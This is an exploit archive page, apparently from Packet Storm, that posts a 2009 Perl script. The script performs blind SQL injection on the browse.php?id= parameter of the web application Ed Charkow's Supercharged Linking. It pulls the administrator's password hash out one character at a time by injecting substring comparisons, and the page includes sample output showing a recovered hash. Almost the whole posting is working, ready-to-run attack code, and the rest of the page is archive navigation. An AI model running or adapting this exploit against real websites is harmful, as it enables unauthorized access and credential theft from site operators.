what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ed Charkow's Supercharged Linking SQL Injection

Ed Charkow's Supercharged Linking SQL Injection
Posted Aug 24, 2009
Authored by NoGe

Ed Charkow's Supercharged Linking remote blind SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | 9970c4840b479e3cd4353633f853273c925f8c37ce745cd8a88919ec6bc97ca0

Ed Charkow's Supercharged Linking SQL Injection

Change Mirror Download
#!/usr/bin/perl

#==========================================================================================#
# #
# [o] Ed Charkow's Supercharged Linking Blind SQL Injection Exploit #
# Software : Ed Charkow's Supercharged Linking #
# Buy Script : http://www.infodepot3000.com/Scripts/content/supercharged_linking.html #
# Author : NoGe #
# Contact : noge[dot]code[at]gmail[dot]com #
# Blog : http://evilc0de.blogspot.com #
# #
# [o] Usage #
# root@noge:~# perl link.pl #
# #
# [x]============================================================[x] #
# | Ed Charkows Supercharged Linking Blind SQL Injection Exploit | #
# | [F]ound by NoGe [C]oded by Vrs-hCk | #
# [x]============================================================[x] #
# #
# [+] URL Path : www.target.com/[path] #
# [+] Valid ID : 1 #
# #
# [!] Exploiting http://www.target.com/[path]/ ... #
# #
# [+] SELECT password FROM admin LIMIT 0,1 ... #
# [+] md5@password> de9e3ae793d300ce7ee4742d4513cb06 #
# #
# [!] Exploit completed. #
# #
# root@noge:~# #
# #
# [o] Greetz #
# MainHack BrotherHood [ http://mainhack.net ] #
# Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang aJe #
# H312Y yooogy mousekill }^-^{ loqsa zxvf martfella #
# skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke #
# #
#==========================================================================================#

use HTTP::Request;
use LWP::UserAgent;

$cmsapp = 'crotz';
$vuln = 'browse.php?id=';
$table = 'admin';
$column = 'password';
$regexp = "No links for this category could be found";
$maxlen = 32;

my $OS = "$^O";
if ($OS eq 'MSWin32') { system("cls"); } else { system("clear"); }

printf "\n
$cmsapp
[x]============================================================[x]
| Ed Charkows Supercharged Linking Blind SQL Injection Exploit |
| [F]ound by NoGe [C]oded by Vrs-hCk |
[x]============================================================[x]

\n";

print "\n [+] URL Path : "; chomp($web=<STDIN>);
print " [+] Valid ID : "; chomp($id=<STDIN>);

if ($web =~ /http:\/\// ) { $target = $web."/"; } else { $target = "http://".$web."/"; }

print "\n\n [!] Exploiting $target ...\n\n";
&get_data;
print "\n\n [!] Exploit completed.\n\n";

sub get_data() {
print " [+] SELECT $column FROM $table LIMIT 0,1 ...\n";
syswrite(STDOUT, " [+] md5\@password> ", 20);
for (my $i=1; $i<=$maxlen; $i++) {
my $chr = 0;
my $found = 0;
my $char = 48;
while (!$chr && $char<=57) {
if(exploit($i,$char) !~ /$regexp/) {
$chr = 1;
$found = 1;
syswrite(STDOUT,chr($char),1);
} else { $found = 0; }
$char++;
}
if(!$chr) {
$char = 97;
while(!$chr && $char<=122) {
if(exploit($i,$char) !~ /$regexp/) {
$chr = 1;
$found = 1;
syswrite(STDOUT,chr($char),1);
} else { $found = 0; }
$char++;
}
}
if (!$found) {
print "\n\n [!] Exploit completed.\n\n";
exit;
}
}
}

sub exploit() {
my $limit = $_[0];
my $chars = $_[1];
my $blind = '+and+substring((select+'.$column.'+from+'.$table.'+limit+0,1),'.$limit.',1)=char('.$chars.')';
my $inject = $target.$vuln.$id.$blind;
my $content = get_content($inject);
return $content;
}

sub get_content() {
my $url = $_[0];
my $req = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $res = $ua->request($req);
if ($res->is_error){
print "\n\n [!] Error, ".$res->status_line.".\n\n";
exit;
}
return $res->content;
}


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close